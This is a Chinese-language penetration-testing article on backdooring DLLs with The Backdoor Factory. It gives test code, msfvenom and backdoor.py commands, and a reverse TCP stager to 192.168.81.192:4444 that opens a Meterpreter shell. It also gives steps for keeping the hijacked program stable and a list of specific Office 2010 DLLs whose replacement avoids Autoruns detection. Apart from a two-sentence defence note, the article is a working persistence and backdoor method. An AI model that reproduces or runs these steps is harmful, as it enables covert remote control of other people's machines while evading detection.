標籤:

利用BDF向DLL文件植入後門

0x00 前言

在之前的文章《利用BDF向EXE文件植入後門》介紹了使用The Backdoor Factory向EXE文件植入後門的方法,這次將要介紹向DLL文件植入後門的思路,演示一種DLL劫持的利用方法,總結該方法的特點,分析防禦思路

0x01 簡介

本文將要介紹以下內容:

·劫持自己的DLL,修復BUG

·劫持系統的DLL,繞過Autoruns的後門檢測

0x02 利用思路

DLL同EXE文件的植入思路相同,也是通過修改程序的執行流程,跳轉到Code Caves,執行payload,再返回至程序的正常流程

DLL同EXE文件最大的區別是多了導出函數的功能

在實現DLL劫持時,常常需要獲得原DLL的導出函數,模擬導出函數,添加payload,實現利用

那麼,The Backdoor Factory在DLL文件的後門植入上,是否要考慮導出函數呢?

下面進行測試,得出結論

0x02 編寫程序進行測試

測試Dll testdll.dll:

#include <windows.h>#include <stdio.h>BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //MessageBox(NULL, NULL, NULL, 0); //Sleep(5000); printf("[+] DLL_PROCESS_ATTACHn"); case DLL_THREAD_ATTACH: printf("[+] DLL_THREAD_ATTACHn"); case DLL_THREAD_DETACH: printf("[+] DLL_THREAD_DETACHn"); case DLL_PROCESS_DETACH: printf("[+] DLL_PROCESS_DETACHn"); break; } return TRUE;}void Export1(){ printf("[+] Export1n");}

導出函數為Export1

Dll載入程序 loader.exe:

#include <windows.h> typedef void(*Export)();int main(int argc, char* argv[]){ Export exporttest; printf("[*] LoadLibraryn"); HMODULE hDllLib = LoadLibrary("testdll.dll"); exporttest=(Export)GetProcAddress(hDllLib ,"Export1"); exporttest(); Sleep(10000); FreeLibrary(hDllLib); printf("[*] FreeLibraryn"); return 0;}

程序執行如下圖,載入testdll.dll,調用導出函數Export1

使用The Backdoor Factory為DLL文件添加後門:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次執行loader.exe,測試如下圖

成功執行payload,但是改變了程序流程,無法正常返回FreeLibrary

需要對DLL進行調試,找到出錯的原因

首先生成空的跳轉模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

選擇.text段

執行Loader.exe,程序一切正常,那麼就是中間的payload出了問題

使用Immunity Debugger打開新的testdll.dll,找到劫持的位置,payload保存在0x10005716

如下圖

這裡可以推測,payload只要能夠保持堆棧平衡,那麼就不會影響程序的正常執行

接下來,在0x10005716處填入我們的payload

可以使用CFF Explorer添加payload

首先定位payload起始點

PUSHADPUSHFD

對應的16進位代碼為609C

在CFF Explorer中切換到Hex Editor視圖,搜索609C,定位起始點0x0000571A

註:

通過Immunity Debugger獲得的內存虛擬地址為0x1000571A,二者對應,位置正確

為了擴大payload空間,可以將後面的調整堆棧平衡代碼整體後移

如下圖

將0x0005772-0x0000579E的數據整體後移,中間填入0x90

選中該部分內容,右鍵-Copy-Hex

找到合適的位置,右鍵-Fill With…

完整操作如下圖

依此方法,中間填入修改後的payload即可,完成Bug修復

通過Immunity Debugger查看DLL文件,可以看到The Backdoor Factory對DLL和EXE文件進行跳轉劫持的位置一樣

如下圖

得出結論:

對於DLL文件來說,劫持初始化部分造成的結果是在LoadLibrary時即可執行payload,如果想在程序載入DLL導出函數時執行payload,將跳轉代碼改到導出函數內即可

0x03 劫持系統的DLL

針對Office 2010,分享幾個自己找到的DLL劫持利用位置

1、劫持Word-審閱試圖

LOCALSVC.DLL,位於C:Program FilesCommon Filesmicrosoft sharedRRLoc14

對該dll添加payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替換dll(需要管理員許可權),啟動word.exe,切換至審閱視圖,彈回meterpreter

測試如下圖

2、劫持word-插入-圖片

tiptsf.dll,位於C:Program FilesCommon Filesmicrosoft sharedink

需要TrustedInstaller許可權才能替換

關於如何獲得TrustedInstaller許可權,可參考文章《滲透技巧——Token竊取與利用》

3、劫持word-文件

也影響別的位置:

word -頁面布局-主題-瀏覽主題

GrooveIntlResource.dll,位於C:Program FilesMicrosoft OfficeOffice142052

需要管理員許可權

4、劫持Excel-插入-圖片

MSPTLS.DLL,位於C:Program FilesCommon Filesmicrosoft sharedOFFICE14

需要管理員許可權

以上測試如下圖

注:

本節內容僅為了演示DLL劫持的一些利用方法,這些特殊的劫持位置只會在軟體的特定功能打開時才會啟動,所以能夠繞過Autoruns的檢測

0x04 防禦

對於系統DLL,通過會帶有微軟簽名,如果對DLL植入後門,簽名會失效,這是一個老生常談的問題

而對於第三方開發的軟體,調用的第三方DLL不加簽名,那麼被利用的風險很大

0x05 小結

本文測試了使用The Backdoor Factory向DLL文件植入後門的方法,介紹修復BUG的思路,分享了一種DLL劫持的利用方法,僅供測試,通過總結該利用方法的特點,簡要介紹了防禦方面需要注意的問題

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,如若轉載,請聯繫嘶吼編輯: 4hou.com/technology/820

推薦閱讀:

侵襲歐洲的新型勒索病毒「壞兔子(Bad Rabbit)」會造成多大危害?該如何應對?
看黑客如何劫持了三個機器人並進行監視和破壞活動
英國議會郵箱系統遭遇黑客攻擊,超過90人電子郵箱被入侵
思科調查:你越信任HTTPS,越容易被攻擊
Tor瀏覽器高危漏洞 可泄漏用戶真實IP地址

TAG:信息安全 |